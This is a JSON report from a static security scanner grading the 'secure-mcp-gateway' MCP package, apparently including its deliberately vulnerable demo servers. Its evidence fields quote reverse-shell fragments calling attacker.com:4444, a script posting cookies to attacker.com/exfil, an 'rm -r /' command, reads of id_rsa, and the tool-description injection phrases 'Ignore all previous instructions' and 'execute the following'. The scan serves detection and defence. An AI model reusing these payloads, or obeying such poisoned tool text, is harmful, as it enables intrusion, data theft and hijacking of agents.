Secure Mcp Gateway — the complete, unedited output of the deterministic mcptrustchecker engine v1.13.0, scanned . Every finding, capability tag and score component below is exactly what the engine produced — no AI, no post-processing.
{
"tool": {
"name": "mcptrustchecker",
"version": "1.13.0",
"methodologyVersion": "mcptrustchecker-1.13"
},
"target": {
"id": "secure-mcp-gateway",
"source": {
"kind": "package",
"origin": "secure-mcp-gateway"
},
"server": {
"name": "secure-mcp-gateway"
}
},
"grade": "F",
"score": {
"score": 56,
"threatScore": 67,
"grade": "F",
"band": "F",
"categorySubtotals": {
"injection": 30.8,
"exfiltration": 1.8,
"permissions": 0,
"supply-chain": 0,
"network": 0,
"hygiene": 0
},
"vector": [
{
"kind": "threat",
"ruleId": "MTC-INJ-AUTH-2",
"category": "injection",
"severity": "high",
"confidence": "strong",
"rawWeight": 22,
"confidenceMult": 0.7,
"diminishingFactor": 1,
"appliedPenalty": 15.4
},
{
"kind": "threat",
"ruleId": "MTC-INJ-ENC-1",
"category": "injection",
"severity": "high",
"confidence": "strong",
"rawWeight": 22,
"confidenceMult": 0.7,
"diminishingFactor": 1,
"appliedPenalty": 15.4
},
{
"kind": "threat",
"ruleId": "MTC-SRC-008",
"category": "exfiltration",
"severity": "low",
"confidence": "heuristic",
"rawWeight": 3,
"confidenceMult": 0.4,
"diminishingFactor": 1,
"appliedPenalty": 1.2
},
{
"kind": "threat",
"ruleId": "MTC-SRC-008",
"category": "exfiltration",
"severity": "low",
"confidence": "heuristic",
"rawWeight": 3,
"confidenceMult": 0.4,
"diminishingFactor": 0.5,
"appliedPenalty": 0.6
},
{
"kind": "client",
"term": "capability-exposure",
"level": "critical",
"label": "capability blast radius (critical) — client exposure if the model is manipulated",
"appliedPenalty": 10
},
{
"kind": "client",
"term": "verification-discount",
"level": "repo",
"label": "publisher verification (public source) — no provenance, but the source is public and inspectable",
"appliedPenalty": 1
},
{
"kind": "client",
"term": "coverage-honesty",
"level": "source",
"label": "inspection depth (source) — how much of the target the scan could see",
"appliedPenalty": 0
}
],
"gatesFired": [],
"methodologyVersion": "mcptrustchecker-1.13"
},
"capability": {
"level": "critical",
"reasons": [
"ingests untrusted external content (a prompt-injection entry point)",
"can send data / act on an external service",
"reads sensitive or local data",
"has a read → egress path (a data-exfiltration surface)",
"can execute shell commands or code",
"untrusted-input, sensitive-source and egress co-exist across tools (toxic-flow surface)",
"untrusted input can reach code execution"
],
"tags": [
"sensitive-source",
"untrusted-input",
"external-sink",
"code-exec"
]
},
"coverage": {
"level": "source",
"inputs": {
"toolSurface": true,
"implementationSource": true,
"packageMetadata": true,
"liveTransport": false
},
"caveats": [
"Tools were statically extracted from the published source (81 recovered), not enumerated from a running server. Tool-poisoning, Unicode-smuggling, capability and toxic-flow analysis ran on this inferred surface, but a mis-parsed registration could be missed or mis-attributed, so tool-derived findings are capped below “confirmed”. To grade the real runtime surface, scan the running server: --command \"npx -y <package>\"."
]
},
"findings": [
{
"ruleId": "MTC-FLOW-002",
"title": "Completed toxic-flow trifecta across tools",
"category": "exfiltration",
"severity": "critical",
"confidence": "strong",
"description": "This server (without client built-ins) exposes a complete data-exfiltration chain: download_file → get_environment_info → execute_command. Untrusted input is ingested, private data is read, and it can be sent to an external sink via the agent composing the tools (→). Static analysis proves the primitive exists, not that a specific run will occur.",
"remediation": "Remove one leg of the trifecta: isolate untrusted-input tools from secret-reading tools and from egress tools, or require human approval between them.",
"location": {
"kind": "flow",
"name": "download_file → get_environment_info → execute_command"
},
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"references": [],
"data": {
"untrusted": [
"download_file",
"fetch_user_profile",
"fetch_news",
"fetch_url"
],
"sources": [
"get_environment_info",
"revolutionary_file_reader",
"read_file",
"query_database",
"read_database"
],
"sinks": [
"proxy_request",
"validate_webhook",
"execute_command"
],
"path": [
"download_file",
"get_environment_info",
"execute_command"
],
"edges": [
{
"from": "download_file",
"to": "get_environment_info",
"kind": "agent-mediated"
},
{
"from": "get_environment_info",
"to": "execute_command",
"kind": "agent-mediated"
}
],
"wired": false
}
},
{
"ruleId": "MTC-SRC-006",
"title": "Reads a sensitive credential path or dumps the environment (src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py)",
"category": "exfiltration",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py:286`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py"
},
"evidence": "ion_audio\": \"../../.ssh/id_rsa\", \"related_terms_index\": \"../../../root/.bash_history\", \"_processing_note\": \"Dict",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"rule": "MTC-SRC-006",
"file": "src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py",
"line": 286,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-006",
"title": "Reads a sensitive credential path or dumps the environment (src/secure_mcp_gateway/bad_mcps/path_traversal_mcp.py)",
"category": "exfiltration",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`src/secure_mcp_gateway/bad_mcps/path_traversal_mcp.py:35`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/secure_mcp_gateway/bad_mcps/path_traversal_mcp.py"
},
"evidence": "in file_path, \"id_rsa\" in file_path, ] if any(suspicious_indicators): return [ typ",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"rule": "MTC-SRC-006",
"file": "src/secure_mcp_gateway/bad_mcps/path_traversal_mcp.py",
"line": 35,
"nonRuntime": false
}
},
{
"ruleId": "MTC-INJ-AUTH-2",
"title": "Instruction-override directive",
"category": "injection",
"severity": "high",
"confidence": "strong",
"description": "Instruction-override directive detected in the description of tool \"fetch_user_profile\". Instruction-like content in tool metadata is executed by the model, not the human, and is the primary tool-poisoning vector.",
"remediation": "Tool descriptions should describe behavior, not instruct the assistant. Treat imperative / secrecy / sequencing language in metadata as hostile.",
"location": {
"kind": "tool",
"name": "fetch_user_profile",
"field": "description"
},
"evidence": "Ignore all previous instructions",
"owasp": "LLM01:2025 Prompt Injection",
"data": {
"kind": "override"
}
},
{
"ruleId": "MTC-INJ-ENC-1",
"title": "Encoded-payload decode/execute instruction",
"category": "injection",
"severity": "high",
"confidence": "strong",
"description": "Encoded-payload decode/execute instruction detected in the description of tool \"get_recommendations\". Instruction-like content in tool metadata is executed by the model, not the human, and is the primary tool-poisoning vector.",
"remediation": "Tool descriptions should describe behavior, not instruct the assistant. Treat imperative / secrecy / sequencing language in metadata as hostile.",
"location": {
"kind": "tool",
"name": "get_recommendations",
"field": "description"
},
"evidence": "execute the following",
"owasp": "LLM01:2025 Prompt Injection",
"data": {
"kind": "encoded-payload"
}
},
{
"ruleId": "MTC-CAP-001",
"title": "Tool \"execute_command\" exposes command/code execution",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "Tool \"execute_command\" appears to run shell commands or evaluate code (keyword \"execute command\" in tool name). Arbitrary execution driven by model input is one of the most dangerous MCP capabilities; combined with any untrusted input it becomes RCE.",
"remediation": "Sandbox execution, allowlist commands/arguments, and never pass model output to a shell unescaped.",
"location": {
"kind": "tool",
"name": "execute_command"
},
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"tags": [
"code-exec"
]
}
},
{
"ruleId": "MTC-SRC-001",
"title": "Dynamic code execution in server code (src/secure_mcp_gateway/bad_mcps/rce_mcp.py)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`src/secure_mcp_gateway/bad_mcps/rce_mcp.py:27`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/secure_mcp_gateway/bad_mcps/rce_mcp.py"
},
"evidence": "ontent]: \"\"\"Classic eval() RCE vulnerability.\"\"\" return [ types.TextContent( type=\"text\",",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-001",
"file": "src/secure_mcp_gateway/bad_mcps/rce_mcp.py",
"line": 27,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py:328`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py"
},
"evidence": ");os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])' These commands are necessary for the quote database to updat",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py",
"line": 328,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (src/secure_mcp_gateway/bad_mcps/command_injection_mcp.py)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`src/secure_mcp_gateway/bad_mcps/command_injection_mcp.py:74`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/secure_mcp_gateway/bad_mcps/command_injection_mcp.py"
},
"evidence": "\\\"attacker.com\\\",4444));subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'`\" -",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "src/secure_mcp_gateway/bad_mcps/command_injection_mcp.py",
"line": 74,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (src/secure_mcp_gateway/bad_mcps/rce_mcp.py)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`src/secure_mcp_gateway/bad_mcps/rce_mcp.py:51`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/secure_mcp_gateway/bad_mcps/rce_mcp.py"
},
"evidence": ".run(['rm', '-r', '/'], shell=True) Result: Executes destructive commands 5. Access Globals/Locals: Input: global",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "src/secure_mcp_gateway/bad_mcps/rce_mcp.py",
"line": 51,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (src/secure_mcp_gateway/cli.py)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`src/secure_mcp_gateway/cli.py:3079`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/secure_mcp_gateway/cli.py"
},
"evidence": "ilable try: subprocess.run( [\"docker\", \"info\"], capture_output=True, che",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "src/secure_mcp_gateway/cli.py",
"line": 3079,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-003",
"title": "Hardcoded egress to an external endpoint (src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py)",
"category": "exfiltration",
"severity": "medium",
"confidence": "strong",
"description": "In the server's implementation (`src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py:197`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py"
},
"evidence": "er's context: <script> fetch('https://attacker.com/exfil', {{ method: 'POST', body: JSON.stringify({{ cookies:",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"rule": "MTC-SRC-003",
"file": "src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py",
"line": 197,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-008",
"title": "Hardcoded GitHub token in server code (src/secure_mcp_gateway/bad_mcps/credential_theft_mcp.py)",
"category": "exfiltration",
"severity": "low",
"confidence": "heuristic",
"description": "A hardcoded GitHub token (a live-looking credential hardcoded in shipped code) appears in `src/secure_mcp_gateway/bad_mcps/credential_theft_mcp.py:43`. Verify whether this is a real credential; if so, remove and rotate it.",
"remediation": "Remove the secret, rotate it, and load credentials from the environment or a secret store.",
"location": {
"kind": "server",
"name": "src/secure_mcp_gateway/bad_mcps/credential_theft_mcp.py"
},
"evidence": "GitHub token: ghp_…(redacted)",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"secretType": "github-token",
"file": "src/secure_mcp_gateway/bad_mcps/credential_theft_mcp.py",
"line": 43
}
},
{
"ruleId": "MTC-SRC-008",
"title": "Hardcoded GitHub token in test/example/packaging (tests/test_server_config_masking.py)",
"category": "exfiltration",
"severity": "low",
"confidence": "heuristic",
"description": "A hardcoded GitHub token (a live-looking credential hardcoded in shipped code) appears in `tests/test_server_config_masking.py:11`. Verify whether this is a real credential; if so, remove and rotate it.",
"remediation": "Remove the secret, rotate it, and load credentials from the environment or a secret store.",
"location": {
"kind": "server",
"name": "tests/test_server_config_masking.py"
},
"evidence": "GitHub token: ghp_…(redacted)",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"secretType": "github-token",
"file": "tests/test_server_config_masking.py",
"line": 11
}
},
{
"ruleId": "MTC-CAP-005",
"title": "Mutating tool \"execute_command\" declares no destructiveHint",
"category": "hygiene",
"severity": "low",
"confidence": "heuristic",
"description": "Tool \"execute_command\" can mutate/egress but declares no destructiveHint. Clients that don't default to spec-safe behavior may not prompt before running it.",
"remediation": "Declare accurate annotations, and gate destructive tools on user confirmation regardless.",
"location": {
"kind": "tool",
"name": "execute_command"
},
"data": {
"tags": [
"code-exec"
]
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in packaging/dev tooling (tests/test_all_commands.py)",
"category": "permissions",
"severity": "low",
"confidence": "heuristic",
"description": "In a packaging/dev/install script (shipped, but not the server runtime) (`tests/test_all_commands.py:42`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "tests/test_all_commands.py"
},
"evidence": "result = subprocess.run([candidate, '--version'], capture_output=Tr",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "tests/test_all_commands.py",
"line": 42,
"nonRuntime": true
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in packaging/dev tooling (tests/test_generate_config_cli_flag.py)",
"category": "permissions",
"severity": "low",
"confidence": "heuristic",
"description": "In a packaging/dev/install script (shipped, but not the server runtime) (`tests/test_generate_config_cli_flag.py:64`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "tests/test_generate_config_cli_flag.py"
},
"evidence": "op(k, None) proc = subprocess.run( [ sys.executable, \"-m\", \"secure_mcp_",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "tests/test_generate_config_cli_flag.py",
"line": 64,
"nonRuntime": true
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in packaging/dev tooling (tests/test_sandbox_all.py)",
"category": "permissions",
"severity": "low",
"confidence": "heuristic",
"description": "In a packaging/dev/install script (shipped, but not the server runtime) (`tests/test_sandbox_all.py:247`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "tests/test_sandbox_all.py"
},
"evidence": "untime.\"\"\" result = subprocess.run( [\"docker\", \"info\", \"--format\", \"{{.Runtimes}}\"], capture_output=",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "tests/test_sandbox_all.py",
"line": 247,
"nonRuntime": true
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in packaging/dev tooling (tests/test_sandbox_quick.py)",
"category": "permissions",
"severity": "low",
"confidence": "heuristic",
"description": "In a packaging/dev/install script (shipped, but not the server runtime) (`tests/test_sandbox_quick.py:57`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "tests/test_sandbox_quick.py"
},
"evidence": "try: out = subprocess.run( [\"docker\", \"images\", \"-q\", image], capture_output=True,",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "tests/test_sandbox_quick.py",
"line": 57,
"nonRuntime": true
}
},
{
"ruleId": "MTC-SUP-012",
"title": "Package has no license",
"category": "hygiene",
"severity": "info",
"confidence": "strong",
"description": "\"secure-mcp-gateway\" has no declared license. This is a legal/reuse concern, not a security finding.",
"location": {
"kind": "package",
"name": "secure-mcp-gateway"
}
}
],
"toxicFlows": [
{
"id": "flow-1",
"severity": "critical",
"confidence": "strong",
"untrustedInput": [
"download_file",
"fetch_user_profile",
"fetch_news",
"fetch_url"
],
"sensitiveSource": [
"get_environment_info",
"revolutionary_file_reader",
"read_file",
"query_database",
"read_database"
],
"externalSink": [
"proxy_request",
"validate_webhook",
"execute_command"
],
"selfContained": false,
"path": [
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"get_environment_info",
"execute_command"
],
"pathWired": false,
"description": "A cross-tool exfiltration chain exists: download_file → get_environment_info → execute_command."
}
],
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{
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{
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{
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{
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{
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},
{
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},
{
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},
{
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{
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{
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{
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{
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{
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{
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{
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{
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},
{
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},
{
"tool": "run_analysis",
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},
{
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],
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]
}
},
{
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},
{
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},
{
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{
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{
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{
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{
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},
{
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},
{
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},
{
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{
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{
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],
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}
},
{
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{
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{
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},
{
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],
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}
},
{
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],
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]
}
},
{
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},
{
"tool": "copy_file",
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},
{
"tool": "create_symlink",
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},
{
"tool": "fetch_user_profile",
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],
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]
}
},
{
"tool": "read_document",
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},
{
"tool": "get_recommendations",
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},
{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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},
{
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},
{
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},
{
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{
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},
{
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{
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{
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{
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{
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{
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{
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},
{
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},
{
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],
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]
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},
{
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},
{
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],
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}
},
{
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],
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]
}
},
{
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},
{
"tool": "compress_files",
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},
{
"tool": "generate_report",
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},
{
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],
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]
}
},
{
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],
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]
}
},
{
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},
{
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},
{
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},
{
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],
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]
}
},
{
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},
{
"tool": "enkrypt_get_cache_status",
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},
{
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}
],
"surfaceDigest": "2f43c1ddfdbba7f1c251b34bd68dfb6fc98373bf8865eac04171beb24646ff4b",
"stats": {
"tools": 81,
"prompts": 0,
"resources": 0,
"findingsBySeverity": {
"critical": 1,
"high": 10,
"medium": 1,
"low": 7,
"info": 1
}
}
}